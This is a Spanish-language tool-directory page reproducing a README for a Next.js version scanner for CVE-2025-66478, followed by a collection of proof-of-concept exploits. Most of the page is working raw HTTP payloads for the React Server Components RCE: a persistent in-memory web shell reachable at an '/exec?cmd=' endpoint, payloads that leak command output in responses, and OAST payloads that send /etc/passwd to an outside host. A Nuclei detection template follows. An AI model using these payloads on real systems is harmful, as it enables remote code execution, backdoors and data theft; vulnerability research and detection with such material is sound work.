Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Next.js-RSC-RCE-Scanner-CVE-2025-66478 — Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478. | Kitploit
Herramientas/GitHubGitHub/malayke/next.js-rsc-rce-scanner-cve-2025-66478
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubmalayke/next.js-rsc-rce-scanner-cve-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478.

Ver Repositorio
429822hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Escáner RSC RCE de Next.js y Colección de POC/Exploit (CVE-2025-66478)

Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478.

Este escáner no explota la vulnerabilidad

Descripción de la Vulnerabilidad

https://nextjs.org/blog/CVE-2025-66478

Instalación

Requisitos previos

  • Go 1.19 o superior
  • Navegador Chrome/Chromium (go-rod lo descargará automáticamente)
root@kitploit:~
git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Compilación

root@kitploit:~
cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Compilación para Windows
go build -o nextjs-rce-scanner.exe

Uso

root@kitploit:~
# Escaneo de alta concurrencia (10 concurrentes)
./nextjs-rce-scanner -file urls.txt -c 10
# Modo GUI (para depuración):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Timeout personalizado
./nextjs-rce-scanner -file urls.txt -timeout 60
# Para servidores sin cabeza (Ubuntu/Debian) - agregar flags de Chrome
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Usar Chrome/Chromium instalado en el sistema
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Combinar ruta del binario de Chrome con flags (para servidores)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Filtrar y escanear URLs específicas
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Combinar con otras herramientas Unix
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

Rutas comunes del binario de Chrome

Haga clic para expandir las rutas

Linux:

  • Ubuntu/Debian: /usr/bin/google-chrome o /usr/bin/chromium-browser
  • CentOS/RHEL: /usr/bin/google-chrome-stable o /usr/bin/chromium
  • Flatpak: /var/lib/flatpak/exports/bin/com.google.Chrome

macOS:

  • /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
  • /Applications/Chromium.app/Contents/MacOS/Chromium

Windows:

  • C:\Program Files\Google\Chrome\Application\chrome.exe
  • C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Cómo funciona

  1. Utiliza go-rod para lanzar el navegador Chrome
  2. Crea un Page Pool para gestionar la concurrencia
  3. Visita la URL objetivo y espera a que la página cargue
  4. Ejecuta JavaScript window.next.version para obtener información de la versión
  5. Analiza el número de versión y determina según el alcance de la vulnerabilidad
  6. Muestra los resultados del escaneo

Configuración del Entorno Vulnerable

Instalar la Versión Vulnerable Usando create-next-app

root@kitploit:~
npx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Iniciar la aplicación
npm run dev

Calculadora Pop

Haga clic para expandir el payload
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚨 Shell de Memoria en Tiempo de Ejecución 🚨

configurar memshell primero

Haga clic para expandir el payload
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

luego solicitar al endpoint memshell para ejecutar un comando

root@kitploit:~
curl "http://localhost:3000/exec?cmd=ls+-l"

Payload que puede ver el resultado de la ejecución del comando en el cuerpo de la respuesta (Más útil)

Haga clic para expandir el payload
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

payload que puede ver el resultado de la ejecución del comando en el encabezado de la respuesta

Haga clic para expandir el payload
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload OAST/DNSlog

⚠️⚠️⚠️ reemplace an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com con su propio dominio OAST/dnslog

hacer solicitud http

root@kitploit:~
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

enviar /etc/passwd

root@kitploit:~
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

crédito del exploit inicial: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

Plantilla de Escaneo Nuclei

Guarde el código de la plantilla a continuación en react2shell.yaml, luego ejecute Nuclei.

root@kitploit:~
nuclei -silent -u http://localhost:3000 -t react2shell.yaml
Haga clic para expandir la plantilla de nuclei

crédito: @Behi_Sec

⚠️ esta plantilla de nuclei solo detecta servidores vulnerables que ejecutan sistemas basados en Unix

root@kitploit:~
id: cve-2025-55182-react2shell

info:
  name: Next.js/React Server Components RCE (React2Shell)
  author: assetnote
  severity: critical
  description: |
    Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
    It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
      - CVE-2025-55182
      - CVE-2025-66478
  tags: cve, cve2025, nextjs, rce, react

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
        Next-Action: x
        X-Nextjs-Request-Id: b5dce965
        X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/login?a=13371337"
          - "X-Action-Redirect"
        condition: and

Consejos de Detección RSC de Next.js

Puede determinar si existe la funcionalidad RSC vulnerable de NextJS basándose en el campo Vary del encabezado de respuesta HTTP.

image

Licencia

Licencia MIT

Aviso legal

Esta herramienta es solo para investigación de seguridad y pruebas autorizadas. Usar esta herramienta para escanear objetivos no autorizados puede violar leyes y regulaciones relevantes. Los usuarios son responsables de cualquier consecuencia.

Descargar herramienta